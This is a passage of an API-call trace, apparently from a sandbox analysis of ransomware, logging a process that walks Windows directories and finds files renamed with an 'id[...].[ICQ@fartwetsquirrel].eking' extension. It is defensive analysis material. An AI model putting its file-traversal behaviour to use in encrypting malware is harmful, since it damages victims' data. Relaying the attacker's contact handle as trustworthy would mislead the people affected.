GetProcessHeap () returned 0xc10000 [0212.083] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc82d90 | out: hHeap=0xc10000) returned 1 [0212.083] FindNextFileW (in: hFindFile=0xc29a08, lpFindFileData=0x2d1f6b8 | out: lpFindFileData=0x2d1f6b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38572a, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0212.084] GetProcessHeap () returned 0xc10000 [0212.084] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc82d90 [0212.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName=".", cAlternateFileName="")) returned 0xc29a88 [0212.085] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="..", cAlternateFileName="")) returned 1 [0212.085] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0212.085] GetProcessHeap () returned 0xc10000 [0212.085] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc92d98 [0212.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0xc17a0a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x16, ftLastWriteTime.dwLowDateTime=0x2, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0xffffe643, dwReserved0=0xffffe643, dwReserved1=0x843, cFileName="￿ࡅ", cAlternateFileName="咊8ÂⶀÆ\x7f")) returned 0xffffffff [0212.357] GetProcessHeap () returned 0xc10000 [0212.357] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc92d98 | out: hHeap=0xc10000) returned 1 [0212.357] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0212.357] GetProcessHeap () returned 0xc10000 [0212.357] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc92d98 [0212.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe643, dwReserved1=0x843, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.357] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe643, dwReserved1=0x843, cFileName="..", cAlternateFileName="")) returned 1 [0212.357] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6744d615, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffe643, dwReserved1=0x843, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.357] SetEvent (hEvent=0x2bc) returned 1 [0212.358] ResetEvent (hEvent=0x2c0) returned 1 [0212.358] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xffffe643, dwReserved1=0x843, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 1 [0212.358] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b33990, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b33990, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xffffe643, dwReserved1=0x843, cFileName="desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DESKTO~1.EKI")) returned 0 [0212.358] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.358] GetProcessHeap () returned 0xc10000 [0212.358] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc92d98 | out: hHeap=0xc10000) returned 1 [0212.358] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0212.358] FindClose (in: hFindFile=0xc29a88 | out: hFindFile=0xc29a88) returned 1 [0212.358] GetProcessHeap () returned 0xc10000 [0212.358] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc82d90 | out: hHeap=0xc10000) returned 1 [0212.360] FindNextFileW (in: hFindFile=0xc29a08, lpFindFileData=0x2d1f6b8 | out: lpFindFileData=0x2d1f6b8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38572a, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0212.360] FindNextFileW (in: hFindFile=0xc29a08, lpFindFileData=0x2d1f6b8 | out: lpFindFileData=0x2d1f6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcf9004bd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf9004bd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38572a, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0212.360] GetProcessHeap () returned 0xc10000 [0212.360] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc82d90 [0212.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcf9004bd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf9004bd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName=".", cAlternateFileName="")) returned 0xc29a88 [0212.465] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xcf9004bd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf9004bd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="..", cAlternateFileName="")) returned 1 [0212.467] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1025", cAlternateFileName="")) returned 1 [0212.467] GetProcessHeap () returned 0xc10000 [0212.467] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.470] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.470] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b59cbd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b59cbd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b59cbd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1e82, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.470] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b59cbd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b59cbd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b7ff6e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x122f2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.471] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b7ff6e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b7ff6e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e2e9d7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.471] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b7ff6e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2b7ff6e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e2e9d7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.471] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.472] GetProcessHeap () returned 0xc10000 [0212.472] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.472] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1028", cAlternateFileName="")) returned 1 [0212.472] GetProcessHeap () returned 0xc10000 [0212.472] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.472] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.476] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.476] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2de245f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2de245f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e086b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.476] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e086b4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e086b4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e086b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.476] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34c381a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.476] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34c381a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.476] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.477] GetProcessHeap () returned 0xc10000 [0212.477] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.478] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1029", cAlternateFileName="")) returned 1 [0212.478] GetProcessHeap () returned 0xc10000 [0212.478] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.478] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.482] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.482] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e2e9d7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e2e9d7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e5f30b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.482] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e5f30b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e5f30b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2e7af04, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13d52, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.482] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e7af04, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e7af04, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc35360a6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.482] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e7af04, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2e7af04, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc35360a6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.482] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.483] GetProcessHeap () returned 0xc10000 [0212.483] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.483] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1030", cAlternateFileName="")) returned 1 [0212.483] GetProcessHeap () returned 0xc10000 [0212.483] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.485] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, 